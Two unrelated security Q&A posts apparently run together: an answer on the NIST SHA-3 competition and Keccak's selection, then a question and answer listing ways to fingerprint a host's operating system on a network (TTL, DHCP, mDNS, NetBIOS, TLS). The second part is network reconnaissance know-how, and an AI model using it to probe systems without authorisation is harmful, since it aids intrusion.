The SHA-3 hash competition was an open process by which the NIST defined a new standard hash function (standard for US federal usages, but things are such that this will probably become a worldwide de facto standard). The process was initiated in 2007. At that time, a number of weaknesses and attacks had been found on the predecessors of the SHA-2 functions (SHA-256, SHA-512...), namely MD5 and SHA-1, so it was feared that SHA-256 would soon be "broken" or at least weakened. Since choosing and specifying a cryptographic primitive takes time, NIST began the SHA-3 process, with the unspoken but clearly understood intention of finding a replacement for SHA-2.

SHA-2 turned out to be more robust than expected. We do not really know why; there are some half-baked arguments (the message expansion is non-linear, the function accumulates twice as many elementary operations than SHA-1...) but there is also a suspicion that SHA-256 remained unharmed because all the researchers were busy working on the SHA-3 candidates. Anyway, with SHA-2 doom being apparently postponed indefinitely, NIST shifted its objectives, and instead of choosing a replacement, they defined a backup plan: a function which can be kept in a glass cabinet, to be used in case of emergency. Correspondingly, performance lost most of its relevance.

This highlights the choice of Keccak: among the competition finalists, it was the function which was most different from both SHA-2 and the AES; so it reduced the risk that all standard cryptographic algorithms be broken simultaneously, and NIST metaphorically be caught with their kilt down.

Let's not be hasty: not only is SHA-2 still fine (both officially and scientifically), but SHA-3 is just announced: it will take a few more months before we can get a specification (although we can prepare implementations based on what was submitted for the competition). What must be done now (and should have been done a decade ago, really) is to prepare protocols and applications for algorithm agility, i.e. the ability to switch functions if the need arises (in the same way that SSL/TLS has "cipher suites").


Is there any method or tool other than nmap for the detection of an OS? I wanted to know if there was any other way to detect the OS of a network (other than nmap) since nmap doesn't detect most versions of Windows 10 at all and identifies them as a different OS altogether or as a different version of Windows.

How can I reliably detect Windows 10 on the network?

There are a lot of techniques. Some of them are:

IP TTL values + TCP Window size
DHCP requests
MDNS
ARP / NDP / SEND
NetBIOS
SSH / SSL / TLS

Here is a great article about it. Don't forget to read Nmap OS Detection.